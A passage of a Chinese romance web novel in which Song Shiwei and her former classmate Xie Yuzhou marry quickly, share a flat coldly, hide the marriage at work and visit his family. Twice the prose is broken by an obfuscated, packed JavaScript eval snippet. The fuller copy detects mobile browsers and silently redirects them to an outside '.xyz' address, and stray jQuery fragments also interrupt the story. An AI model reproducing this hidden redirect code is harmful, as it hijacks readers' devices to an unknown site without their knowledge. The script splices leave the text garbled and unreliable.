男人侧脸冷厉,线条硬朗,紧抿薄唇,芦苇般茂密的睫毛下,如黑曜石的眼眸意味不明。 曾经的冷酷少年,成为独当一面的掌权人,让人愈发看不透。 在谢屿舟的眼神向她转过来时,宋时微慌乱收回视线,素白的手指攥紧安全带,绷直手背,“谢总,您是要辞退我吗?” 谢屿舟不答反问:“证件都在身上吗?” “在。”出租屋不太安全,宋时微随身携带。 谢屿舟右转方向盘,“刚才是我的私人手机号,记下来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢屿舟睨向她,“我不想亲自动手。” 车内气氛并没有因为领证而改变,一如来的时候一样,压抑、不融洽,丝毫没有领证的喜悦。 翠微园没有地下停车场,黑色迈巴赫在地面行驶,与老旧小区格格不入,行人远远避让。 车子停在楼下,两人踏进城市改造加的电梯,品质虽不如高档小区,好在不用爬楼梯。 宋时微打开大门,指向餐厅方向,“北边那间。” 谢屿舟粗略浏览便知,两室两厅双开间的户型,采光差室内昏暗,没有动静和干湿分离,早已被时代淘汰的产物。 胜在租户打扫得干干净净,添了一丝温馨。 宋时微拉开餐椅,“你坐着等一下,我很快收拾好。” 谢屿舟却跟在她身后进了房间。 宋时微赶在谢屿舟前面,盖上桌子上的相框,除去毕业照,这是他们的唯一一张合照。 衣柜里零星的几件衣服被放进行李箱,其他零碎物品装不满一个箱子。 不到十分钟,宋时微整理好行李,她说的用不着不是客气话,两个箱子已然是她全部的家当。 “我收拾好了。” 只是,在谢屿舟看来却是另一番意思,不由得嗤笑一声。 她真的一点都没变,做好了随时离开的准备。 搬家公司的工作人员看到客厅中央摆着的两个行李箱愣住了,这有必要叫他们吗? 有钱人真会玩。 到达臻悦府,不给宋时微反应的时间,行李箱被谢屿舟直接推进主卧。 “过来。” 男人打开另一扇门,原来主卧套房除了衣帽间,配备了一间书房。 “结婚证给我。”宋时微从包里掏出结婚证交给谢屿舟。 男人倚靠在椅子上,开启桌上的笔记本电脑。 宋时微:“你忙工作,那我先出去。” 书房门关闭,谢屿舟转动桌面的摆件,拿到一把钥匙,打开隐藏式的保险箱,输入密码,将结婚证放了进去。 宋时微四下无事,在房子里转悠,极简的轻奢风格,主色调为黑白灰,一个冷冰冰的样板房。 她对臻悦府没有认同感,担心碰到贵重物品,站在客厅等谢屿舟。 不多时,谢屿舟从卧室出来,冷声交代她,“家里有阿姨打扫和做饭,她今天有事晚点过来。” 宋时微点点头,“好。” 谢屿舟站在玄关处,“过来录指纹和人脸识别。” 宋时微:“好。” 每进行一个步骤,谢屿舟便退开一步,仿若例行公事,尽量避免和她接触。 谢屿舟捞起钥匙,望着身后不远处的新婚妻子,“你不走吗?” 宋时微没有动,“你先去吧,我坐地铁。” 谢屿舟瞬间明白,她在和他避嫌,不想旁人知道他们的关系。 “随你。”男人撂下两个字按电梯下楼。 4. 陌生 恰巧,一位中年妇女乘坐另一部电梯上来,看到宋时微,问:“你是?” “我是…”宋时微不知道谢屿舟要不要隐瞒他们结婚的消息,一时间想不到适合的词形容,便没有回答。 出于警觉,阿姨给谢屿舟打了一个电话,得到答案后,尽管震惊,维持表面的镇定,“太太,您中午想吃什么?” 宋时微听‘太太’有些别扭,礼貌说:“叫我微微就好,请问您怎么称呼?” 阿姨说:“先生一般喊我‘君姨’。” 面对陌生人,宋时微些许拘谨,“君姨,我中午不在家吃饭,主卧的箱子我晚上回来自己整理。” “好,您慢走。” 君姨在谢家做事多年,经常和老宅的老太太聊天,没听说先生要结婚的消息,而且之前拒绝相亲的也是他。 这怎么突然就结婚了,老太太十有八九并不知道,该怎么告诉她。 君姨整理房间,谢屿舟给她打电话,男人沉稳道:“君姨,结婚的消息我会自己告诉奶奶和妈妈。” “好。”阿姨问:“太太的饮食习惯是什么,我记一下。” 听筒对面的人似乎顿了一下,语气如平常冷淡,“没什么忌口,喜好酸辣的食物和甜食,还有……就这些。” 后半段欲言又止。 君姨记在心里,“我记下了,先生。” 宋时微行至一楼,打开导航寻找小区大门的位置,被一个高大的男人挡住去路。 “太太,谢总安排我专门接送您。” 眼前大叔的电话未挂断,里面传来谢屿舟的声音。 “好,麻烦你了。”宋时微望着炙热的阳光,不和天气作对。 谢屿舟挑选了一款相对低调的车,对她来说,仍买不起。 臻悦府距离寰宇大厦仅两个路口,午时道路上车辆稀少,眨眼功夫即抵达写字楼。 “太太,到了,前方直行50米是电梯间。” 不知是谢屿舟交代还是司机细心,车子停在B栋楼下,而非她办公的A栋。 上午的领证像是插曲,宋时微甚至来不及拍下结婚证照片。 匆匆忙忙领了证,加上没有睡午觉,她整个人浑浑噩噩。 周一,办公室气压惯常低沉,其他人亦如此。 突然,程清安过来通知,“十分钟后,二号会议室谢总临时开会。” 新官上任,开会正常。 所有人打起十二分精神,在心里盘算自己的工作和方案。 乔言心和宋时微作为新进员工,自觉坐在角落,“谢总不会是来宣布裁员名单的吧。” 宋时微安慰她,“不至于,这样人心惶惶,不利于他开展工作。” 很快,会议室一片沉寂,所有人屏气凝神,不敢用力呼吸,不玩手机不低头,等待新任老板。 门从外面推开,孟新允率先进入,拉开中央的椅子,“谢总。” 谢屿舟坐下,面无波澜轻启薄唇,“开始吧。” 程清安:“谢总,除去请假出差的同事,策划部成员全在这了。” 谢屿舟淡声打断,“不用一一介绍,我看过各位的人事档案以及方案报告。” 他的眼神在下面所有人脸上逡巡,“从手上的项目进度开始。” 各组牵头负责人介绍手上进行的项目,汇报进度以及方案思路。 谢屿舟眉头紧锁,汇报结束后均颔首示意,看不出来满意与否。 如同重逢的那天晚上,宋时微和谢屿舟隔着长长的距离。 他自始至终未正面瞧她,当她是陌生人。 即使三个小时前,他们已成为夫妻关系。 谢屿舟话少,提少数建议,“我不提倡加班工作,效率低才会在上班时间内完不成,特殊情况除外,不希望拖拖拉拉下班前五分钟交方案给我,浑水摸鱼在我这行不通。” “散会。”男人站起身,微凝脚步,“二组方案里第八页竞品的名称写错了,一组方案第四页单位标错了,关键性小问题要注意。” 他没有发火声音很轻,却自带上位者的严肃和压迫感,让人瑟瑟发抖。 一组和二组组长连忙表态,“抱歉抱歉,马上改,保证不会再犯。” 乔言心回到座位,心有余悸,“谢总眼睛也太毒了,第八页是一闪而过的吧。” 第八页不是汇报的重点,组长迅速跳过,前面出现过竞品的名称,是正确的字。 大标题她都没看清,更不用说无关紧要的小字。 小声感慨,“说他吹毛求疵真不是夸张。” 宋时微心想,他一直是这样,上学时经常抓她的基础错误。 “习惯就好,以后要多注意。” 下午5点30分,谢屿舟一句‘无谓的加班没有效率’,让许多人不再用加班来博取领导好感。 宋时微查看微信,他没有给她发消息,仿佛从来没加过他。 他们之间不存在报备,不知道他什么时候下班。 司机赵叔已在楼下等候,谢屿舟给她安排的哪里是司机,兼职保镖和眼线。 这是生怕她再次不告而别。 南城夏季傍晚,微风不燥,宋时微瞥见前方街角的花店,“赵叔,麻烦前面路口右转停一下,我去逛逛买点东西。” “好的,太太。”赵叔驶入右侧车道,临时停车处停下。 宋时微推开车门,交代道:“你不用等我,我不知道什么时候结束,你先回家。” 赵叔略微为难,请示谢屿舟后应下,“太太,如果需要,随时联系我。” “好的。” 宋时微向‘花财的花’走去,店牌LOGO可可爱爱,充满童趣。 “欢迎光临。”一个五官精致的小姑娘在店里剪花,“喜欢什么花下面有价格。” 除了常见的花,其他花宋时微不认识,“你好,能不能帮我选几支适合新婚的花啊?” 她挑了一个素白色的花瓶。 “新婚啊,恭喜恭喜。”小姑娘放下剪刀,在屋子里环视一圈,“卡布奇诺加挚爱玫瑰配这个花瓶很合适,我有照片,你可以看看。” 宋时微被她的笑容感染,弯了弯漂亮的眼眸,“就这个,很漂亮。” 在小姑娘插花的间隙,她又选了几盆绿植。 问题出现,她拿不下,不想麻烦赵叔。 这时,一个男人进来,小姑娘两眼一亮,“哥,你来得正好,帮我送一下小姐姐,我走不开。” 男人懒散道:“让我给你当跑腿,你准备出多少钱?” 小姑娘撒娇,“谈钱多伤我们兄妹的感情啊,就在旁边的臻悦府。” 男人:“你喊跑腿,钱我出。” 宋时微想说不用麻烦,看到了熟悉的人,“傅总。” 傅景深眼中闪过一丝惊讶,“宋小姐这是家里有人结婚?” 宋时微轻轻摇头,“不是,是我结婚了。” “这么快。”傅景深脱口而出,没控制住自己的情绪。 宋时微礼貌笑笑以示回应,她和他算不上熟悉的朋友,不是可以随意寒暄的关系。 “哥这是你朋友啊,那你快点去。”小姑娘拿出一束包装好的芍药,“小姐姐,送你芍药,祝你新婚快乐。” “谢谢。” 她是今天第一个祝她‘新婚快乐’的人。 宋时微礼貌推辞,“傅总,我叫了跑腿,不麻烦您。” 傅景深直接搬起箱子,“我是花店的股东,大客户的花自然要送货上门。” 幸好商场后面即是臻悦府,拐个弯就到了。 君姨听见开门的声音,忙跑出来,“微微你怎么买这么多东西啊,老赵不在吗?” 宋时微客气回答:“赵叔回去了,我临时决定买的,想着家里少点绿植。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478919|169983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是的呦,太冷清了。” 君姨才注意到宋时微身后的傅景深,她在老宅时见过,自然认得,“傅先生也在,进来喝杯水吧。” 防止君姨多想,傅景深站在门外主动解释,“我妹妹是花店老板,宋小姐买得太多,我帮忙送过来,原来宋小姐老公是谢总啊,天太晚,我先回去了。” 宋时微送他到电梯口,“改天请傅总吃饭。” 君姨和宋时微整理花束和绿植,她不断在屋子里寻找,谢屿舟没有回来。 他不止一处房产,今晚过不过来这栋房子睡觉,都是未知数。 君姨作为年近半百的人,自会察言观色,小两口感情似乎没那么好,担心太太难过,她说:“先生就是这样,经常加班到半夜,忘了时间,微微,你先吃饭。” 宋时微抿了抿唇,“好。” 君姨不是住家保姆,收拾好餐桌便离开,偌大的房子里只剩下宋时微和新买的花。 一个人待在几百平的屋子里,空落落挺吓人,宋时微窝在沙发上,呆呆望向门口。 她现在好像失宠的人,等待一个不回家的人。 新婚老公在新婚夜久久不归,多么讽刺。 猜测谢屿舟不会回来,宋时微和妈妈通电话,强装喜悦,“妈,我今天和谢屿舟领证了。” 葛书韵担心,“他有没有为难你?当初要不是因为妈妈,你们也不会……” 宋时微开导她,“和你没关系的,妈,都过去了。” 当初不是某一个人某一件事造成的结果。 为了转移注意力,和妈妈话了几句家常后,宋时微在三人小群发消息,【朋友们,在吗?】 林以棠:【微活。】 顾裴司:【游戏中。】 宋时微:【我结婚了。】直接抛下重磅炸弹。 林以棠:【和傅景深这么快吗?】 宋时微:【不是,是谢屿舟。】 林以棠立即开启三人语音通话,“微微,怎么回事?他绑你去的?他懂不懂这是犯法的事。” 宋时微:“不是,我自愿的。” “你想清楚了吗?结婚不是小事。”林以棠见过谢屿舟找宋时微的模样。 魂不守舍如同行尸走肉,连她都不放过,天天守在她家门口,问宋时微有没有给她发消息。 宋时微倚靠在沙发上,郑重说:“我知道自己在做什么,不用担心。” 从她决定回南城的那一刻起,她就已然想清楚。 林以棠由衷祝福,“祝你新婚快乐。” “谢谢。” 明知道谢屿舟不会回来,宋时微固执地在客厅等他。 靠在沙发上不知不觉睡着了。 晚上10点30分,谢屿舟结束工作到家。 他推开门,屋内不再是黑漆漆,暖白色灯光衬得房间柔软温馨。 餐桌多了一瓶花,粉色和红色相间与新婚夜相配,电视柜上方的绿植与鲜花竞相盛放。 晚上的饭菜用保温板温着,旁边放了一个布丁小灯。 谢屿舟在屋内寻找,目光停在沙发上,他去房间找到一块毛毯,轻轻盖在宋时微的身上。 “你回来了。”宋时微睡眠浅,微弱动静即会吵醒她,她刚睡醒,声音轻柔,一睁开眼对上谢屿舟的黑眸。 男人眼中的温柔转瞬即逝,仿佛是她做梦的错觉。 谢屿舟恢复往日的冷冽,“有事?” 宋时微旋即想起,“关于婚前协议,你看看有没有异议?” 她在沙发另一侧找到文件袋,递给谢屿舟。 两人相对而立。 谢屿舟解开棕色文件袋,看到文件上方的「婚前财产协议」几个大字,蓦然勾了下唇角。 下一秒,男人骨络分明的手掌撕碎纸张,扔进垃圾桶。 他掸了掸手心的碎片,一步一步走向宋时微。 5. 同床 谢屿舟将宋时微困在自己怀中,居高临下睥睨她,“宋小姐,不对,谢太太,结婚第一天你和我说离婚后的财产划分,怎么,你想三婚?” 宋时微的脚后跟紧挨沙发,退无可退,仰起头和他对视,“不是,我们资产悬殊,还是分清楚比较好。” 分清楚? 谢屿舟不依不挠,朝前走一步,宋时微为避开他,跌坐在沙发上,手指攥紧毛毯。 男人沉冽的声音自上砸下来,眼神晦暗,“那我想知道宋小姐和我结婚是为了什么?既然不是图钱,难道是图我这个人吗?” 宋时微抿嘴不答,倔强看着他。 谢屿舟继续俯身,矜贵的脸凑到宋时微的眼前,“嗯?宋小姐是回答不上来,还是不想回答?” 两人的鼻梁快要挨上,宋时微的睫毛簌簌扑闪,和他呼吸同一片空气。 除去多年前的荒唐那晚和重逢当晚,第一次和他挨得这么近,近到一动就要亲到他的嘴巴。 宋时微的心脏怦怦乱跳。 “我。”她不知如何回答,不图他的钱是真,说图他的人恐怕会被他当笑话。 她的沉默,在谢屿舟看来是心虚,尽数落入他的眼中。 男人直起身,烦躁地扯开领带,眼底的浓色深了几分,“放心,真到了那一天,谢家法务不是吃素的。” 宋时微得到空隙呼吸新鲜空气,望着男人的挺括的背影。 不知道他结婚的原因是什么? 显而易见,他对她不再有感情。 或许是报复吧,等他厌倦后甩了她,让她体会被抛弃的感觉。 谢屿舟走到吧台,倒一杯温水,灌进喉咙,冷声说:“明晚回老宅一趟,我不是过家家,不需要隐婚。” 宋时微叠好毛毯,像个豆腐块放在沙发角落,“我也不是。” 她立在原地,轻声解释,“我妈在临港,短期内不会回来,但我晚上和她说了领证的事。” 一对新婚夫妻,在新婚夜当晚没有干柴烈火,反而在吵架辩论。 荒唐,就像高中毕业后的那晚。 只是调换了形式。 宋时微请求他,“在公司可以不透露吗?除了孟助,我想正常上班。” 谢屿舟:“可以。”语气仿若低温,淬了冰一般。 宋时微:“谢谢。” 这番对话像两家公司,正在就某个项目达成战略合作。 氛围紧张,谁都不愿让步。 经过一番讨论,达成共识。 谢屿舟解开袖扣,放在手心里摩挲把玩,转过身问:“阿姨电话多少?” 宋时微转头看向墙上的时间,“我妈这个点睡下了。” 她瞥到餐桌,“你要吃饭吗?菜还是热的。” “不用,我吃过回来的。”谢屿舟说。 室内突然陷入安静,谁都没有言语,由于婚前协议两人多说了几句话,没有事情讨论回归成陌生人。 谢屿舟率先打破僵局,“我去洗澡,你先睡。” 宋时微:“好。” 她慢腾腾收拾餐桌,去卧室要面临同床共枕的现实。 谢屿舟和她,仅七年前睡过一晚。 那天没有前奏没有准备,从谢师宴上逃走,直奔顶楼的套房。 不是露水情缘不是陌生人一夜情,是三年同学。 彼时他们才十八岁。 主卧内,谢屿舟用力扯掉领带,扔在衣帽间的椅子上,烦躁地解开衬衫纽扣,男人拉开衣柜。 原本黑白灰的衣服里多了一些女性色彩,宋时微带来的行李箱已被规整完毕。 她的衣服占了衣帽间小小的一处角落,堪堪两个格子。 更不用说几乎没有首饰和护肤品。 谢屿舟打开抽屉,红色的扇形项链静静躺在其中。 ‘砰’一声,男人关闭抽屉。 不知是哪个男人送她的项链,让她念念不忘。 她戴着他送的手链,恐是为了让他回忆起过往,念旧情罢了,一切都是她的手段。 手链硌到宋时微的手腕,她从久远的记忆回笼,走进最里侧的主卧。 大平层四房四卫的布局构造,她可以睡次卧,但谢屿舟说不分居,而她同样没有分居的打算。 套房内,谢屿舟仍在洗澡,偌大的房间,隔绝了浴室内淅淅沥沥的水声。 宋时微掀开被子,躺在最左边,灰色四件套与新婚毫无关联。 无论谢屿舟是不是要报复她,婚是她求来的,她会认真经营。 男人从浴室出来径直走到床铺右侧,漆黑碎发向下滴水,睡衣扣子扣到顶端。 轮廓分明的侧脸冷硬凌厉,没有向她投来目光,抬手关闭卧室的灯光。 房间骤然变黑,新婚夜,他与她之间隔着浩瀚天堑。 变成最亲密的关系,无法跨越内心的鸿沟。 宋时微闭上眼睛,不知是认床还是旁边是谢屿舟的缘故,毫无困意。 她尽量不翻身不发出声响,旁边的男人呼吸渐渐均匀。 然而,下一秒。 “怎么不睡?”谢屿舟的声音在黑夜中格外沉寂,竟添了几分关切之情。 即使看不清,宋时微面朝他的方向,“对不起,影响你睡觉了吗?” 谢屿舟捏了捏鼻梁,“没有,我也没睡着。” 两人再一次无话可说,滋生尴尬的氛围。 宋时微鼓足勇气提议道:“那要做吗?” 谢屿舟‘呵’了一声,“你认为我和你结婚是图这个?为了解决生理需求。” “不是。”宋时微解释说:“夫妻生活是婚姻义务。” “超过11点了。” 言外之意是他要睡觉,孟新允说过他的睡觉时间。 “那晚安。” 床品柔软亲肤,旁边睡着日思夜想的人,宋时微比想象中入睡容易。 清晨,宋时微在闹钟响之前醒来。 在她睁眼的瞬间,男人的眼神偏了过去,沉稳问她,“阿姨电话给我。” 刚醒来,宋时微意识未完全苏醒,跟随惯性报数字,“152xxxx4796。” 谢屿舟输入手机号,走去衣帽间慢条斯理穿好白衬衫,扣上袖扣,拨出电话。 他礼貌开口,“阿姨,是我,谢屿舟,您还记得吗?” 葛书韵连忙放下手里的托盘,交代店里工作的人,到后门安静的地方接电话,“小谢啊,阿姨记得,你那时候和微微经常一起去图书馆。” 同学不知道他们相熟,葛书韵是唯一知道的人。 谢屿舟客气说:“昨天加班回来得晚,没有第一时间给您打电话,抱歉。” 葛书韵:“你们忙,阿姨知道的。”听谢屿舟的语气,她稍稍放心,女儿没有报喜不报忧,他们许是说开了误会。 宋时微一直听谢屿舟和她妈妈的对话,他对她妈妈比对她要热情。 即使没有改口,没有冷冰冰对待她的妈妈,给她留足了面子。 吃完早饭,宋时微和谢屿舟在地库分开,同一目的地,为了掩人耳目,上演曾经的戏码。 人前不熟,人后一起写作业,变成现在睡在同一张床上。 早高峰,拥挤的电梯间,挤满排队等电梯的同事。 乔言心拍拍宋时微的肩膀,“微微,早啊。”周二的她,恢复了一点点活力。 宋时微将手里的甜点递给她,“早,这个给你。” 乔言心打开袋子,“哇塞,看着好好吃的样子,你做的吗?” 宋时微:“朋友买的,我吃着好吃带给你尝尝。” “你真好,么么么。”乔言心挽住她的胳膊,往旁边一望。 她们在挤电梯,老板和孟助两个人独享宽敞的电梯。 浪费资源。 大夏天挤出一身汗,乔言心开启所有的桌面风扇,配合中央空调降温。 这时,孟新允和行政部门的同事推着几个超大的箱子来到45层,“手上工作暂停一小会,给大家发个喜糖。” 同事们集体发出“哇”的声音。 一个人说:“孟助,你结婚了啊,恭喜恭喜。” 其他人纷纷跟着附和,“恭喜,闷声干大事啊。” 孟新允作为总助,自然要与各部门熟络,开得起玩笑,许多同事不怕他。 孟新允赶忙纠正他们,“不是不是,是谢总的喜糖,他说办婚礼的时候再邀请大家。” 人群中爆发感慨,“我靠,我靠,谢总的喜糖,老板娘长什么样子?哪家的千金啊?” “对呀,谢总朋友圈有发吗?” “我们没有谢总的微信。” “孟助,透露一下。” 孟新允瞅了一眼坐在东面的宋时微,在心里哀嚎,就坐在你们当中,就是她啊。 作为一名合格的总助,他什么都不能说,默默保守这个秘密,嘴巴闭得严严实实。 “等谢总自己公布,我只负责发糖。” 行政部门挨个公布发,孟新允拿了几份走到策划部,“宋时微,这是你的。” 宋时微讪讪笑道:“谢谢孟助。” 自己吃自己的喜糖,感觉颇为奇妙,只是,当她拆开喜糖盒,里面空空如也,只有一张纸条。 【谢太太,新婚快乐。】 字体遒劲有力,过了这么多年,宋时微一眼认出是谢屿舟的字。 怪不得是孟新允亲自发给她,万一给别人就露馅了。 孟新允:“我要去其他楼层了,你们别忘了给请假外出和出差的同事留,谢总说,要每个人沾沾喜气。” “祝谢总新婚快乐,百年好合,早生贵子。” 明知道其他人不会发现,宋时微听着同事的祝福,感觉被人拆穿。 乔言心放下手中的工作,拆喜糖礼盒,“谢总大手笔,除了糖竟然有定制的伴手礼哎,‘ys’,新娘的名字带‘s’的音吗?” “是吗?我看看。” 果然如此,喜糖盒上印有‘ys’两个字母。 家里人和朋友喊她‘微微’,只有谢屿舟喊她‘时时’。 好久远的称呼,重逢至今,他从未喊过她的昵称‘时时’。 宋时微哂笑回:“可能是吧。” 乔言心将礼物拿出来研究,“护手霜精华香薰保温杯都是大牌定制,包装布袋竟然是绣上去的花,这是什么花啊?好漂亮。” 宋时微瞥了一眼,“垂丝海棠。”< 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短暂的八卦过后,回归紧张的工作中,任谁都想不到,和谢屿舟结婚的人,会是宋时微。 她听见猜测,笑笑不说话。 临近下班,宋时微收到谢屿舟的消息,【A100。】 没头没尾的一句话,她不知道是什么意思,如实问他。 谢屿舟:【停车位。】 惜字如金的男人,需要旁人揣摩他话里的意思。 宋时微:【马上来。】 去谢家老宅见家长,她会被赶出去吗? 等到同事走得七七.八八,宋时微方才拎起包下楼,直奔地库。 像前一天一样,避开主路绕到墙壁处上车。 “呵。”谢屿舟从车里看得一清二楚,上学为了不让同学发现,和他在班里装作不熟,现在故技重施。 宋时微迅速开门关门,动作一气呵成,她转头看到谢屿舟,男人脸色阴沉得骇人。 谢屿舟放下挡板,隔绝前后排的声音,眉峰微皱,沉沉命令,“坐过来。” “谢总,有什么事?”宋时微忘了转变称呼。 她望着两人中间的距离,微微挪过去一点。 谢屿舟抓住宋时微的手指,紧紧捏在手里,漆黑的眸特意强调,“宋时微,隐婚的意思是,不告诉别人你和我结婚,而不是隐瞒你结婚的事实。” 男人将婚戒缓缓推进她的无名指。 他的指腹好烫,只触碰到指节的小块地方,激起半边身子的麻木。 谢屿舟替她戴好婚戒,立刻松开她的手。 从领证起,他拒绝和她有亲密接触。 宋时微心脏揪在一起,微蜷手掌,“我没想隐瞒。” 谢屿舟凛声说:“那就戴好。”阖上眼睛闭目养神。 宋时微后知后觉发现,婚戒尺寸刚刚好。 他什么时候量的? 五分钟后,司机说:“先生、太太,到了。” 汽车驶入商场,宋时微眉头轻蹙,“不是去老宅吗?” 谢屿舟按按太阳穴,“换身衣服,我怕老太太以为我虐待新婚妻子。” 衣服? 宋时微低头瞧自己的衣服,白色素雅连衣裙适合见家长。 一行三人乘坐专梯直抵三楼女装区,工作人员在店门口等候,露出标准微笑,“谢总,谢太太,晚上好。” “谢总,按照您的要求,挑选出来十多套衣服。” 工作人员领他们到VIP贵宾休息室,沙发对面摆放一排的衣服,同时搭配好包包和鞋子。 谢屿舟掀起眼睫,扫视一圈,“中间那套。” 工作人员取下衣服,走到宋时微面前,“谢太太,请随我来。” 宋时微俨然像一个木偶,跟随工作人员进去试衣间。 她刚刚甚至没看清衣服长什么样子,此刻才看到全貌。 A字版型衬衫领连衣裙,杏色底布镶嵌金色立体提花,自带柔和光泽,前襟饱满珍珠扣装饰,淡雅又精致。 点缀一条腰带,抬高腰线,显得正式。 工作人员贴心退出去,“谢太太,需要帮忙喊我。” 宋时微:“好,谢谢。” 衣服掂在手里分量沉甸甸,对比谢屿舟准备的衣服,她的衣服上不来台面。 宋时微换好衣服,走出试衣间。 谢屿舟粗略掠过一眼,面无波澜交代店长,“其他的送到这个地址。” 他们下到一层的首饰店,同样,店员等候多时,“谢总,谢太太,晚上好。” 最后选了一条白冰翡翠手镯和一对澳白珍珠耳环,淡妆配上中式半扎盘发,衬得她端庄大气。 宋时微看着镜子里陌生的自己,她不爱繁琐的配饰,谢屿舟打造的是他理想中‘谢太太’的模样。 一番折腾下来,南城天已黑透。 越临近谢宅,宋时微越紧张,手心里全是汗,下车后落在谢屿舟身后。 谢屿舟伫立原地,“谢太太,你是想让人看出我们貌不合,神也离吗?” 男人语气冷漠,带着命令的意味,“过来,挎着我。” 6. 别动 “你走太快。” 宋时微穿高跟鞋不熟练,走得缓慢,谢屿舟有意放慢脚步,配合她的步伐。 一前一后,不是并肩前行,像高中时那般。 只是如今换了位置,变成他在前,她在后,如他所言,貌不合神也离。 谢屿舟伸出右手臂,脸色略微缓和,“挎好。” “哦。”宋时微抓住他的胳膊,一半身体得到支撑,一股清雅的雪松气息飘进她的鼻尖,无法忽略。 她穿了八厘米高跟鞋堪堪到谢屿舟的下颌,他比七年前更高了。 宋时微微仰头,瞥见男人的侧脸,轮廓分明,瞳仁愈发漆黑,青涩不复存在。 变化的何止是身高和长相,他已蜕变成独当一面的男人。 大门到正厅长长的一节廊道,宋时微第一次进入谢宅,穿行在白墙黛瓦的中式园林中。 中式庭院讲究高低错乱、层次递进的布局手法,一步一景、曲径通幽,假山与水池交相辉映,仿佛是一幅跃然眼前的山水墨画。 此刻,桃花已谢,桂花未开,满眼只剩绿色。 宋时微挽住谢屿舟的手臂,跨过一道圆形门,进入内庭院,院中摆了一张竹桌,用来品茗喝茶。 拐角处竟然有一小片菜地,青菜冒出尖来。 谢屿舟偏头说:“记得改称呼。” 宋时微点头,“好的。” 谢屿舟:“喊一下。” “屿…屿舟。”宋时微磕磕绊绊说出他的名字,更多时候,她直呼大名。 谢屿舟眉头轻拧,似是不满意,“换一个。” 沉默须臾,宋时微说出烫嘴的称呼,“老公吗?” 男人没有露出不悦,她鼓足勇气,轻声喊:“老公。” 身侧的人身体似乎一僵,很快恢复正常。 这时,谢家人听见动静,出来迎接他们。 她不自禁攥紧男人的衬衫,平整的布料上留下一道道褶皱。 谢屿舟轻轻拍了拍她的手背,好像和她说,没事。 但男人的神色始终严肃,没有丝毫温情可言。 为首的是谢屿舟的奶奶顾令仪,老太太上前和颜悦色说:“这就是微微啊,没见家长屿舟带就你去领证,是我们的过失。” 宋时微微笑解释,“没有的事,奶奶,是我们一起决定的,没提前拜访你们,抱歉。” 谢屿舟将责任揽了过去,“是我的问题。” “就是你的错。”紧接着说话的是谢屿舟的妈妈章寄雪。 “妈,我妈在临港,没办法先见面。” 不枉她下午问孟助要了资料,晚上认人方不会认错。 章寄雪:“临港好地方,视频见面一样的。” 妈妈和奶奶没有给她难堪,待她亲切、热情,没有高高在上的样子,打消了她的紧张。 宋时微原以为,都和他爸爸谢宏恺一样。 她才注意到他爸爸不在。 宋时微的拖鞋和谢屿舟的拖鞋摆在一块,同款不同色。 刚坐在沙发上,章寄雪便将他们分开,拉着她神神秘秘问:“微微,你是那小子雇来的吗?” “不是,妈,我们是高中同学。”宋时微后悔没有拍一张结婚证照片。 忽然,她想到在民政局宣誓台上拍的照片。 章寄雪欲言又止,“主要他吧,算了,不是就好。” 宋时微找出照片,放在两位长辈面前,“妈、奶奶,你们看看。” 民政局的照片那肯定错不了。 “妈,是真的,不是诓我们的。” 顾令仪来回看两个孩子,欢喜得紧,“微微啊,他这个人外冷内热,你多担待,我们家不讲究那么多规矩,你和屿舟过得开心就好。” 宋时微保证,“我们会的,奶奶。” 门外传来一道慵懒的男声,“外婆,舅妈,谢屿舟我来了。” 顾令仪介绍,“是屿舟姑姑家的孩子池砚舟,比屿舟小一天,所以从不喊‘哥’。” 转而呵斥池砚舟,“你一天天咋咋呼呼没个正形。” “我又不是谢屿舟,一天天和闷葫芦似的。”池砚舟上下打量宋时微,“你好,怎么称呼?” 宋时微自我介绍,“你好,宋时微。” 池砚舟被外婆喊回来吃饭,说庆祝谢屿舟结婚,他不相信,亲自回来看看真伪。 他的右手插进裤子口袋,和宋时微问好之后,直奔沙发角落里落单的谢屿舟,小声问:“你竟然来真的?以后被催婚的只有我了。” 谢屿舟的黑眸淡瞥向他,“你不会被催婚,姑姑和奶奶一致认为,谁和你结婚是造了孽。” “那是她们欣赏不了我的优点。”池砚舟剥开一个橘子,扔进嘴里,“我就看不懂了,你有被虐症吗?怎么就非她不可。” 他在谢屿舟的书里见过宋时微的证件照,即使多年未见,还是一下对上了人。 毕竟是谢屿舟喜欢的人,世间罕见之新闻。 谢屿舟双腿.交叠,纠正他的措辞,“不是非她不可,是讨债。” 池砚舟幽幽道:“放在身边讨债,真有你的,小心再陷进去。” 谢屿舟肯定说:“不会。” 池砚舟懒得拆穿他,“但愿如此,你不去看看你媳妇,不怕婆婆为难儿媳妇啊。” “我妈不会,奶奶更不会。”谢屿舟始终注意客厅另一端的动静。 池砚舟伸出手在他眼前晃晃,“别看了,人家没你想得那么脆弱,消失七年若无其事回来找你。” 晚宴开席,谢屿舟和宋时微在长辈面前扮演恩爱夫妻,他给她剥虾、夹菜,仿若回到以前的时光。 直到吃完晚饭,谢宏恺都未露面。 他不会认她这个儿媳妇,用实际行动表明态度。 老宅距离集团远,上班不方便且没有换洗的衣服,谢屿舟和宋时微回臻悦府休息。 池砚舟有事,先行一步,“我妈出差去了,托我带的礼物,她说祝你们‘百年好合,早生贵子。’” 宋时微:“谢谢。” 这是今晚的第三份礼物,没有无谓的拉扯,长辈的心意,给就收着。 为了不打扰奶奶和妈妈休息,谢屿舟和宋时微紧随其后离开。 从正厅朝大门口走,路上遇到谢宏恺,恰好谢屿舟去一旁接工作电话。 宋时微硬着头皮上去打招呼,“伯父。” 谢宏恺定睛细看,“果然是你,我还真是小瞧了你。” 